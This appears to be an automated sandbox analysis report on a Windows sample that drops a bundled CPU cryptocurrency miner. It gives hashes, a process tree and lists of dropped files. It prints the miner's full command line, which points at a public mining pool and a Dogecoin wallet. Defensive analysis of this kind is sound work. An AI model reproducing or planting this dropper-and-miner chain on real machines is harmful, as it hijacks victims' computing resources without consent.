73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19-02-2024 17:04

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3612	b2e.exe
4392	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe
4392	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1284-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1284 wrote to memory of 3612	1284	batexe.exe	73
PID 1284 wrote to memory of 3612	1284	batexe.exe	73
PID 1284 wrote to memory of 3612	1284	batexe.exe	73
PID 3612 wrote to memory of 4500	3612	b2e.exe	74
PID 3612 wrote to memory of 4500	3612	b2e.exe	74
PID 3612 wrote to memory of 4500	3612	b2e.exe	74
PID 4500 wrote to memory of 4392	4500	cmd.exe	77
PID 4500 wrote to memory of 4392	4500	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Users\Admin\AppData\Local\Temp\C6EA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\C6EA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C6EA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CAC2.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4392

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C6EA.tmp\b2e.exe

Filesize
7.1MB

MD5
db36cbed6e3ba5c0d2e63c0ea4477ca9

SHA1
6b1d67a57e785f870c69488f96d08cc34137e51a

SHA256
ae7ed152567735cfea2c64943680384f8de565e7de51d6b42a2f20a4f419c08d

SHA512
eb727755d3b9d9d648970225d9a91d5fc7536947d66638f40fe5310128135550a9357e178145959ca94e9f760f3f833fc5e748d121821e0f15d84174d38b8292

Download Submit
C:\Users\Admin\AppData\Local\Temp\C6EA.tmp\b2e.exe

Filesize
10.9MB

MD5
3bbad66308bc0c31795c46972c29019d

SHA1
baef18968aefba9a319bb1fac6835991ab44f405

SHA256
2df0e6f0ee3da776529efb44613f8187ceb055011af0c865f39b09af9530e326

SHA512
9e609997ccca60b639b9639dc73e368bc3cd42e858465866f471904f9e7163a4419e48f9fa415f3fe1f59d092caa7b4db85660b0c197c6cad6c4426bc8d9fe7b

Download Submit
C:\Users\Admin\AppData\Local\Temp\CAC2.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
39710041293b204f41d33118078131b2

SHA1
283af7d0c3c59bdea29787b3a91c9cae8930afe1

SHA256
05c973d37615e361148c9998e6163ed3675d702945a69634ad319277e7e71d95

SHA512
e2682d4ff164a49b863aecb74691b6057db146733834fe5dcf53abb9c2946f6b75c9d323fceaa2ce2fa0d149676329ef326e9a744603b3b03f356d63cd3b325f

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
1cfd077b71465596725df43fd57bde2d

SHA1
805e5578e357d8e0f1e8235d2a6dc571bb827f3d

SHA256
0afee0f422e98ea7a8f406e4ac34f250b4f982ab9595037350e214a8120fb623

SHA512
fb434a157ea038a77e2dce65560d2ff2116e7a100663fd58ba709646cf49a62b96cc226b6e3b47899ad0f1d8ceb6337036099da93a9a823810cdf60b5163a595

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
fa6bf44a6b32ff3c7a8b5b38a672ebd1

SHA1
c7b47dd5aea1dd9a807140daa88db29065cba784

SHA256
2adffd78e00ab5cb8c8a5c55c7e234adb29437d4cfb4c8e3745f02b61f45ea5e

SHA512
59e91be8e3b68daad169a70b0c4f4daf0e9b62f5d1d8981443c5a25595aa24da00747b3a3e10abb150c114911b6a30ebd3b1782803b541895f9ca083cbdef2c7

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1284-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3612-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3612-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4392-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-43-0x000000005BFD0000-0x000000005C068000-memory.dmp

Filesize
608KB

Download
memory/4392-44-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/4392-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4392-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4392-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4392-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download